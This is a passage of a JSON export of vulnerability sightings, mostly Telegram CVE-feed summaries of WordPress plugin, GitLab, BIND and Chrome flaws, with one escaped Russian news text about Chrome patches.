\u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "929e94dc-814c-41e7-ae2d-eae8786a7a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12037", "type": "seen", "source": "https://t.me/cvedetector/16929", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12037 - WordPress Stored Cross-Site Scripting in User Profiles Forms by Frontend Content Forms\", \n  \"Content\": \"CVE ID : CVE-2024-12037 \nPublished : Jan. 31, 2025, 11:15 a.m. | 33\u00a0minutes ago \nDescription : The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bf_new_submission_link' shortcode in all versions up to, and including, 2.8.13 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T12:52:04.000000Z"}, {"uuid": "ccf24e8b-1e9c-4618-b210-17d19ba8b119", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12415", "type": "seen", "source": "https://t.me/cvedetector/16927", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12415 - \"WordPress AI Infographic Maker Plugin Shortcode Execution Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12415 \nPublished : Jan. 31, 2025, 11:15 a.m. | 33\u00a0minutes ago \nDescription : The The AI Infographic Maker plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 4.9.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T12:52:03.000000Z"}, {"uuid": "da4b64f4-5050-4c4c-9306-3d2671c63bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12267", "type": "seen", "source": "https://t.me/cvedetector/16926", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12267 - Contact Form 7 WordPress Limited Arbitrary File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12267 \nPublished : Jan. 31, 2025, 11:15 a.m. | 33\u00a0minutes ago \nDescription : The Drag and Drop Multiple File Upload \u2013 Contact Form 7 plugin for WordPress is vulnerable to limited arbitrary file deletion due to insufficient file path validation in the dnd_codedropz_upload_delete() function in all versions up to, and including, 1.3.8.5. This makes it possible for unauthenticated attackers to delete limited arbitrary files on the server. It is not possible to delete files like wp-config.php that would make RCE possible. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T12:52:02.000000Z"}, {"uuid": "8f76af15-9030-40ed-9665-1891dd489f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://t.me/cvedetector/16861", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1211 - GitLab CSRF Vulnerability (CSFR)\", \n  \"Content\": \"CVE ID : CVE-2024-1211 \nPublished : Jan. 31, 2025, 12:15 a.m. | 1\u00a0hour, 6\u00a0minutes ago \nDescription : An issue has been discovered in GitLab CE/EE affecting all versions starting from 10.6 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2 in which cross-site request forgery may have been possible on GitLab instances configured to use JWT as an OmniAuth provider. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T02:49:20.000000Z"}, {"uuid": "292d8bec-2c7e-40f4-b398-da7731dafc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "Telegram/STqw1iYsrWaxr6W866Ac340yhyjb2Ew_akZz-wOxIOVCUYuK", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "5fe62363-83c7-42a9-a8ca-e92dd338af3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12076", "type": "seen", "source": "https://t.me/cvedetector/16378", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12076 - \"Target Video Easy Publish WordPress CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12076 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Target Video Easy Publish plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.3. This is due to missing or incorrect nonce validation on the resync_carousel(), seek_snapshot(), uploaded_cc(), and remove_cc() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:58.000000Z"}, {"uuid": "4664314a-ad1e-4cab-910b-4069b31fa3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12817", "type": "seen", "source": "https://t.me/cvedetector/16376", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12817 - Etsy Importer for WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12817 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Etsy Importer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'product_link' shortcode in all versions up to, and including, 1.4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:54.000000Z"}, {"uuid": "b852a312-a57f-4120-bd31-3f6aad0d5f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "Telegram/8dC8Y0y7AH5u-csD6nQkRRHlFFCMp4oeZ-Wa7x9heCpVdFqz", "content": "", "creation_timestamp": "2025-02-15T23:50:17.000000Z"}, {"uuid": "0f93a715-1e7c-408b-82b8-e28c93d770be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://t.me/CyberBulletin/1733", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:43.000000Z"}, {"uuid": "5295a1ec-4c1f-4b98-b4a4-c5c2653dd3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://t.me/CyberBulletin/1733", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:43.000000Z"}, {"uuid": "40000e2b-e067-4420-9e7f-dd2bfbe89718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/CyberBulletin/1711", "content": "\u26a1\ufe0fCVE-2024-12209 (CVSS 9.8): WP Umbrella Plugin Vulnerability Exposes 30,000 Websites to Compromise.\n\n#CyberBulletin", "creation_timestamp": "2024-12-08T11:24:47.000000Z"}, {"uuid": "92100dd3-bd5f-44e2-addd-9c9fd9d0a7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12861", "type": "seen", "source": "https://t.me/cvedetector/16788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12861 - Shopify WooCommerce Migrate Plugin Arbitrary File Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12861 \nPublished : Jan. 30, 2025, 2:15 p.m. | 46\u00a0minutes ago \nDescription : The W2S \u2013 Migrate WooCommerce to Shopify plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.2.1 via the 'viw2s_view_log' AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T16:46:42.000000Z"}, {"uuid": "9ae51c55-042f-49cf-8e01-a095fe60a993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://t.me/cvedetector/16787", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12822 - \"UserPro WordPress Media Manager Capability Check Bypass Exploit\"\", \n  \"Content\": \"CVE ID : CVE-2024-12822 \nPublished : Jan. 30, 2025, 2:15 p.m. | 46\u00a0minutes ago \nDescription : The Media Manager for UserPro plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the add_capto_img() function in all versions up to, and including, 3.11.0. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T16:46:41.000000Z"}, {"uuid": "8c263384-dc1e-4cd3-8fb9-5d73497b978a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://t.me/cvedetector/16769", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12409 - Simple:Press Forum WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12409 \nPublished : Jan. 30, 2025, 11:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : The Simple:Press Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in all versions up to, and including, 6.10.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T14:16:09.000000Z"}, {"uuid": "39324ed5-f47b-45cb-b2db-df2ca7c5557f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://t.me/cvedetector/16768", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12524 - Clinked Client Portal for WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12524 \nPublished : Jan. 30, 2025, 11:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : The Clinked Client Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'clinked-login-button' shortcode in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T14:16:08.000000Z"}, {"uuid": "cd66b9d7-82c6-42c4-9c27-a818c29a7556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1244", "type": "seen", "source": "Telegram/buh-ut9DiubPByy1siFNTwRZbQngXllC1XVuRrrneGPkxJk", "content": "", "creation_timestamp": "2025-06-11T11:03:35.000000Z"}, {"uuid": "e957c5ba-25da-46f4-9ab7-78a0a0be9382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1243", "type": "seen", "source": "Telegram/buh-ut9DiubPByy1siFNTwRZbQngXllC1XVuRrrneGPkxJk", "content": "", "creation_timestamp": "2025-06-11T11:03:35.000000Z"}, {"uuid": "abcdbe63-3a3a-4cc9-8481-265bc163f68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12885", "type": "seen", "source": "https://t.me/cvedetector/16372", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12885 - WordPress Connections Business Directory Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12885 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Connections Business Directory plugin for WordPress is vulnerable to arbitrary directory deletion due to insufficient file path validation when deleting a connections image directory in all versions up to, and including, 10.4.66. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary folders on the server and all their content. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:47.000000Z"}, {"uuid": "e5b249ba-f82b-491f-a9c8-64f6bab72e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://t.me/cvedetector/16739", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12921 - EthereumICO WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12921 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The EthereumICO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's ethereum-ico shortcode in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:42.000000Z"}, {"uuid": "cdf2ce1f-f0e5-4e43-87e1-058e7eb76f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://t.me/cvedetector/16738", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12708 - WordPress Bulk Me Now Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-12708 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Bulk Me Now! WordPress plugin through 2.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:38.000000Z"}, {"uuid": "8fc37984-b440-4c07-a5e0-16ba51c59a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://t.me/cvedetector/16737", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12638 - WordPress Bulk Me Now! Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12638 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Bulk Me Now! WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:38.000000Z"}, {"uuid": "9aff0ef1-0ec5-4d10-8a4a-bc386f59c955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://t.me/cvedetector/16736", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12400 - Tourmaster WordPress Reflected Cross-Site Scripting Voorbelasting\", \n  \"Content\": \"CVE ID : CVE-2024-12400 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The tourmaster WordPress plugin before 5.3.5 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:37.000000Z"}, {"uuid": "4b136db8-8edb-4a12-87c8-068d92fcf3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://t.me/cvedetector/16735", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12709 - WordPress Bulk Me Now CSRF Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-12709 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Bulk Me Now! WordPress plugin through 2.0 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:36.000000Z"}, {"uuid": "3926e182-71c4-4122-9831-5cd1bdcc7be0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://t.me/cvedetector/16734", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12163 - Apache GoodLayers Core SVG Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12163 \nPublished : Jan. 30, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The goodlayers-core WordPress plugin before 2.1.3 allows users with a subscriber role and above to upload SVGs containing malicious payloads. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T08:24:36.000000Z"}, {"uuid": "fc1eb63a-dcfd-41f1-ab22-dbc65d3ee20e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/cvedetector/16727", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12705 - Bind DNS Server HTTP Flood CPU Exhaustion\", \n  \"Content\": \"CVE ID : CVE-2024-12705 \nPublished : Jan. 29, 2025, 10:15 p.m. | 2\u00a0hours, 11\u00a0minutes ago \nDescription : Clients using DNS-over-HTTPS (DoH) can exhaust a DNS resolver's CPU and/or memory by flooding it with crafted valid or 